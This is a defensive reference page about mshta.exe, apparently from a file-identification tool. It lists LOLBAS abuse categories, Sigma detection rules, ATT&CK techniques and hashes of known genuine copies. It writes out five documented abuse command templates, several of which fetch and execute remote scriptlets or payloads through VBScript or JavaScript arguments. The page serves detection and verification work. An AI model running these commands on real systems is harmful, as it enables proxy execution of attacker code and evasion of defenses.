mshta.exe

Microsoft (R) HTML Application host file version info (xCyclopedia)

LOLBAS Execute, ADS, Download 54 Sigma rules name it 6 ATT&CK techniques 5 documented commands 12 known copies with hashes

How mshta.exe is abused

documented by LOLBAS

Execute T1218.005 System Binary Proxy Execution: Mshta

ADS T1218.005 System Binary Proxy Execution: Mshta

Download T1105 Ingress Tool Transfer

Each abuse is LOLBAS's category and the options and words it uses; the full write-up is on LOLBAS's page for mshta.exe.

5 documented commands

from LOLBAS, each read by the identifier

Execute T1218.005 System Binary Proxy Execution: Mshta User privileges

Opens the target .HTA and executes embedded JavaScript, JScript, or VBScript.

mshta.exe {PATH:.hta}

Identify

Trips no Sigma process-creation rule.

Execute T1218.005 System Binary Proxy Execution: Mshta User privileges

Executes VBScript supplied as a command line argument.

mshta.exe vbscript:Close(Execute("GetObject(""script:{REMOTEURL:.sct}"")"))

Identify

Trips 2 Sigma rules: highMSHTA Execution with Suspicious File Extensions by Diego Perez (@darkquassar), Markus Neis, Swisscom (Improve Rule), Swachchhanda Shrawan Poudel (Nextron Systems); highRemotely Hosted HTA File Executed Via Mshta.EXE by Nasreddine Bencherchali (Nextron Systems)

Execute T1218.005 System Binary Proxy Execution: Mshta User privileges

Executes JavaScript supplied as a command line argument.

mshta.exe javascript:a=GetObject("script:{REMOTEURL:.sct}").Exec();close();

Identify

Trips 2 Sigma rules: highRemotely Hosted HTA File Executed Via Mshta.EXE by Nasreddine Bencherchali (Nextron Systems); highSuspicious JavaScript Execution Via Mshta.EXE by E.M. Anhaus (originally from Atomic Blue Detections, Endgame), oscd.community

ADS T1218.005 System Binary Proxy Execution: Mshta User privileges

Opens the target .HTA and executes embedded JavaScript, JScript, or VBScript.

mshta.exe "{PATH_ABSOLUTE}:file.hta"

Identify

Trips no Sigma process-creation rule.

Download T1105 Ingress Tool Transfer User privileges

It will download a remote payload and place it in INetCache.

mshta.exe {REMOTEURL}

Identify

Trips 1 Sigma rule: highRemotely Hosted HTA File Executed Via Mshta.EXE by Nasreddine Bencherchali (Nextron Systems)

3 of the 5 commands the identifier reads trip a Sigma process-creation rule; 2 trip none. These commands and their descriptions are from LOLBAS’s entry for mshta.exe, by Oddvar Moe, at commit 2056cb766250 of 2026-09-26, under the GPL-3.0 and LOLBAS’s notice, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on LOLBAS’s page for mshta.exe. The identifier reads each with LOLBAS’s placeholders filled in: a URL as https://example.com/file, a share as \\192.0.2.10\share\file, a path as C:\Data\file and a command as calc.exe.

What detects it

Sigma process creation rules

highRemotely Hosted HTA File Executed Via Mshta.EXENasreddine Bencherchali (Nextron Systems)

highSuspicious JavaScript Execution Via Mshta.EXEE.M. Anhaus (originally from Atomic Blue Detections, Endgame), oscd.community

highMSHTA Execution with Suspicious File ExtensionsDiego Perez (@darkquassar), Markus Neis, Swisscom (Improve Rule), Swachchhanda Shrawan Poudel (Nextron Systems)

highSuspicious Mshta.EXE Execution PatternsFlorian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)

mediumPotential Dropper Script Execution Via WScript/CScript/MSHTAMargaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community, Nasreddine Bencherchali (Nextron Systems), Dave Johnson

criticalSticky Key Like Backdoor ExecutionFlorian Roth (Nextron Systems), @twjackomo, Jonhnathan Ribeiro, oscd.community

highPotential CVE-2023-21554 QueueJumper ExploitationNasreddine Bencherchali (Nextron Systems)

highPotential Suspicious Child Process Of 3CXDesktopAppNasreddine Bencherchali (Nextron Systems)

highPaperCut MF/NG Potential ExploitationNasreddine Bencherchali (Nextron Systems), Huntress DE&TH Team (idea)

highPotential Exploitation of CrushFTP RCE Vulnerability (CVE-2025-54309)Nisarg Suthar

highWindows Suspicious Child Process from Node.js - React2ShellSwachchhanda Shrawan Poudel (Nextron Systems), Nasreddine Bencherchali

highSuspicious ArcSOC.exe Child ProcessMicah Babinski

highSuspicious BitLocker Access Agent Update Utility Executionandrewdanis, Swachchhanda Shrawan Poudel (Nextron Systems)

highSuspicious Child Process Of BgInfo.EXENasreddine Bencherchali (Nextron Systems)

highPotentially Suspicious Child Processes Spawned by ConHostSwachchhanda Shrawan Poudel (Nextron Systems)

highSuspicious Child Process of Notepad++ Updater - GUP.ExeSwachchhanda Shrawan Poudel (Nextron Systems)

highHTML Help HH.EXE Suspicious Child ProcessMaxim Pavlunin, Nasreddine Bencherchali (Nextron Systems)

highSuspicious Shells Spawn by Java Utility KeytoolAndreas Hunkeler (@Karneades)

highSuspicious Child Process Of Manage Engine ServiceDeskFlorian Roth (Nextron Systems)

highSuspicious Processes Spawned by Java.EXEAndreas Hunkeler (@Karneades), Florian Roth

highPotential LethalHTA Technique ExecutionMarkus Neis

highOneNote.EXE Execution of Malicious Embedded Scripts@kostastsale

highSuspicious Microsoft OneNote Child ProcessTim Rauch (Nextron Systems), Nasreddine Bencherchali (Nextron Systems), Elastic (idea)

highSuspicious Outlook Child ProcessMichael Haag, Florian Roth (Nextron Systems), Markus Neis, Elastic, FPT.EagleEye Team

highSuspicious Microsoft Office Child ProcessFlorian Roth (Nextron Systems), Markus Neis, FPT.EagleEye Team, Vadim Khrykov, Cyb3rEng, Michael Haag, Christopher Peacock @securepeacock, @scythe_io

highSuspicious Provlaunch.EXE Child ProcessNasreddine Bencherchali (Nextron Systems)

highPotentially Suspicious Child Process Of Regsvr32elhoim, Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)

highPotential Defense Evasion Via Rename Of Highly Relevant BinariesMatthew Green - @mgreen27, Florian Roth (Nextron Systems), frack113

highSuspicious ShellExec_RunDLL Call Via OrdinalSwachchhanda Shrawan Poudel

highScript Event Consumer Spawning ProcessSittikorn S

And 24 more rules that name mshta.exe.

T1059.005Command and Scripting Interpreter: Visual Basic

T1059.007Command and Scripting Interpreter: JavaScript

T1105Ingress Tool Transfer

T1106Native API

T1140Deobfuscate/Decode Files or Information

T1218.005System Binary Proxy Execution: Mshta

Is it the real mshta.exe?

file version info and known copies

Installed inC:\Windows\system32\
C:\Windows\SysWOW64\

Signed byMicrosoft Windows

ProductInternet Explorer, Microsoft Corporation

DescriptionMicrosoft (R) HTML Application host

12 known copies

11.00.22000.1 (WinBuild.160101.0800) · C:\WINDOWS\system32\mshta.exe · signed by Microsoft Windows

4ed8a115fa1dcfd532397b800775c1b54d2d407b52118b5423e94ff1ce855d7e

11.00.22000.1 (WinBuild.160101.0800) · C:\WINDOWS\SysWOW64\mshta.exe · signed by Microsoft Windows

9820174c7ec2fc3b3410609045bbd56a8f9d20e6ae52515aba7c9e6b60312d97

11.00.19041.1 (WinBuild.160101.0800) · C:\Windows\SysWOW64\mshta.exe · signed by Microsoft Windows

213ab5658e44f2a111c5e4cffa043660bc49307ebb1b7eedd21dbddca5da41ac

11.00.19041.1 (WinBuild.160101.0800) · C:\Windows\system32\mshta.exe · signed by Microsoft Windows

dba3137811c686fd35e418d76184070e031f207002649da95385dfd05a8bb895

11.00.18362.1 (WinBuild.160101.0800) · C:\WINDOWS\system32\mshta.exe · signed by Microsoft Windows

229ebba62347b77ea2ffad93308e7052bdae39a24ea828d6ef93fe694ca62197

11.00.18362.1 (WinBuild.160101.0800) · C:\WINDOWS\SysWOW64\mshta.exe · signed by Microsoft Windows

4b82cfc44029d3d8462d60322fa0dbde20f36c9c6791fa6f9b9f6a96fe44bf09

11.00.17763.1 (WinBuild.160101.0800) · C:\Windows\SysWOW64\mshta.exe · signed by Microsoft Windows

12c94c614fb752dc1f6797b5fb3ad67719e3c924facda35dc36792c8e5ac45fc

11.00.17763.1 (WinBuild.160101.0800) · C:\Windows\system32\mshta.exe · signed by Microsoft Windows

e616c5ce71886652c13e2e1fa45a653b44d492b054f16b15a38418b8507f57c7

11.00.14393.0 (rs1_release.160715-1616) · C:\Windows\SysWOW64\mshta.exe · signed by Microsoft Windows

5b6429b98adf532e6f694c9a6cd1a1943b4aa3d5ea524d4fb353939fd9c61342

11.00.14393.0 (rs1_release.160715-1616) · C:\Windows\system32\mshta.exe · signed by Microsoft Windows

9d58f407ac581db4a39066f7cb549bf73709ec3d81ef352801c9fb0235ea7fbc

11.00.9600.16384 (winblue_rtm.130821-1623) · C:\windows\SysWOW64\mshta.exe · not signed

515437a6721142081c0706dbb18d11f6b294490389f688addda41ced8301c094

11.00.9600.16384 (winblue_rtm.130821-1623) · C:\windows\system32\mshta.exe · not signed

a5e64d89ac3b70aa8d02717c5ab69ec79714e9bd6765d17474abafee3409044c

From the file’s version info and the copies recorded by xCyclopedia (MIT). A copy in another folder, signed by someone else or with another hash is not necessarily malicious, but it is worth a closer look. In Ceplin, "<sha256>".whatis() says which known copy a hash is.

mshta.exe

How mshta.exe is abused

5 documented commands

What detects it

Is it the real mshta.exe?

12 known copies

Other programs abused for Execute